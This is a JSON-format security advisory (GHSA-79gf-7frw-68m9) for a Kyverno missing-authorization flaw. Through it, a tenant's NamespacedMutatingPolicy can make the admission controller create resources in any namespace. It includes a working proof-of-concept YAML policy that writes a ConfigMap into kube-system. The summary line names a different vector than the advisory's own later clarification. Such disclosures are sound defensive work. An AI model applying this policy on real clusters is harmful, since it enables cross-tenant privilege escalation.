{"id":"GHSA-79gf-7frw-68m9","summary":"Kyverno's NamespacedGeneratingPolicy generator.apply() namespace argument unvalidated -- background controller creates RoleBindings in any namespace including kube-system","details":"## Summary\n\nIn Kyverno v1.18.1, a tenant who can create a `NamespacedMutatingPolicy` in their own namespace can instruct the admission controller to generate resources in any namespace by passing an arbitrary namespace string to the CEL `generator.apply(namespace, resources)` function.\n\n## Details\n\n`pkg/cel/libs/context.go:177` declares `GenerateResources(namespace string, dataList []map[string]any)`. The `namespace` argument arrives unvalidated from the CEL expression `generator.apply(\"\u003ctarget-namespace\u003e\", [...])`.\n\n### Version-Specific Impact\n\n**v1.18.0, v1.18.1 (affected via NamespacedMutatingPolicy only):**\n\nThe nmpol CEL compiler unintentionally exposes the `generator` library to match condition expressions. A namespaced mutating policy can invoke `generator.apply()` in a boolean CEL expression such as `matchConditions`, triggering the admission controller to generate resources in any namespace at request time. This side effect executes with the admission controller's cluster-wide privileges.\n\nNamespacedGeneratingPolicy is **not** a vector in v1.18.1 due to incomplete webhook and background processing wiring (not registered or functional).\n\n### Root Cause\n\nThe admission validator for `NamespacedMutatingPolicy` (`pkg/cel/policies/mpol/validate.go`) only checks that the policy compiles and does not enforce namespace scope on `generator.apply()` arguments.\n\nCompare correctly-guarded equivalents: `pkg/engine/context/loaders/configmap.go:102` rejects cross-namespace ConfigMap references for namespaced policies, and `pkg/engine/apicall/apicall.go:73-82` enforces namespace segment matching. `GenerateResources` has neither guard.\n\n## Proof of Concept\n\nPrerequisites: namespace `tenant-ns` exists; attacker has `create` on `namespacedmutatingpolicies.policies.kyverno.io` in `tenant-ns`.\n\n```yaml\napiVersion: policies.kyverno.io/v1beta1\nkind: NamespacedMutatingPolicy\nmetadata:\n  name: cross-ns-escalate\n  namespace: tenant-ns\nspec:\n  matchConstraints:\n    resourceRules:\n    - apiGroups: [\"\"]\n      apiVersions: [\"v1\"]\n      resources: [\"configmaps\"]\n      operations: [\"CREATE\"]\n  mutations:\n  - patchType: applyConfiguration\n    applyConfiguration:\n      expression: object\n  matchConditions:\n  - name: trigger-escalation\n    expression: |\n      generator.apply(\"kube-system\", [\n        {\n          \"apiVersion\": dyn(\"v1\"),\n          \"kind\": dyn(\"ConfigMap\"),\n          \"metadata\": dyn({\n            \"name\": \"kube-system-config\",\n            \"namespace\": \"kube-system\"\n          }),\n          \"data\": dyn({\n            \"injected-by\": \"tenant-policy\",\n            \"impact\": \"unauthorized access to kube-system namespace\"\n          })\n        }\n      ])\n```\n\nApply the policy, then create any ConfigMap in `tenant-ns` to trigger the admission webhook. The admission controller creates `configmap/kube-system-config` in `kube-system`. By default, the admission controller has `create` on ConfigMaps in all namespaces.\n\n## Impact\n\nA namespace-scoped user with `create` on `NamespacedMutatingPolicy` in \u003e=v1.18.1 can create ConfigMaps, NetworkPolicies, Secrets, and other resources in any namespace using the admission controller's cluster-wide RBAC. This allows:\n\nInjecting sensitive configuration into protected namespaces (e.g., `kube-system`, `default`)\nDisrupting cluster networking via NetworkPolicies\nPrivilege escalation via RoleBinding creation (for roles the admission controller holds or lesser-privileged roles)\nPrivilege escalation via RoleBinding creation in other namespaces\nAny installation that grants non-admin users access to `NamespacedMutatingPolicy` creation is affected.\n\n## Timeline\n\n* 2026-05-20: Vulnerability reproduced on main\n* 2026-07-13: CVE-2026-54523 / GHSA-79gf-7frw-68m9 published\n* 2026-07-22: Advisory clarified to document actual v1.18.1 attack vector (NamespacedMutatingPolicy in matchConditions, not NamespacedGeneratingPolicy)\n\n## Advisory Update\n\nThis advisory was updated to clarify the v1.18.1 attack surface. The nmpol vector in matchConditions was the reachable attack path in v1.18.1, while ngpol lacked end-to-end plumbing. The CVE, patched version, and CVSS score remain unchanged. Original report by @0xVijay.","aliases":["BIT-kyverno-2026-54523","CVE-2026-54523","GO-2026-6296"],"modified":"2026-09-02T16:30:19.313541497Z","published":"2026-08-26T14:21:54Z","database_specific":{"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-08-26T14:21:54Z","nvd_published_at":null,"cwe_ids":["CWE-862"]},"references":[{"type":"WEB","url":"https://github.com/kyverno/kyverno/security/advisories/GHSA-79gf-7frw-68m9"},{"type":"WEB","url":"https://github.com/kyverno/kyverno/pull/16238"},{"type":"WEB","url":"https://github.com/kyverno/kyverno/commit/0919553c0ea1904f8d891280c92018da97946a06"},{"type":"WEB","url":"https://github.com/kyverno/kyverno/commit/5164bcdeda5b57678bc2d7a03ecc2cbb02982dae"},{"type":"WEB","url":"https://github.com/kyverno/sdk/commit/6573937441443e1ba5af9fbb28d5c0f20297f9df"},{"type":"PACKAGE","url":"https://github.com/kyverno/kyverno"},{"type":"WEB","url":"https://github.com/kyverno/kyverno/releases/tag/v1.18.2"}],"affected":[{"package":{"name":"github.com/kyverno/kyverno","ecosystem":"Go","purl":"pkg:golang/github.com/kyverno/kyverno"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.18.0"},{"fixed":"1.18.2"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 1.18.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-79gf-7frw-68m9/GHSA-79gf-7frw-68m9.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N"}]}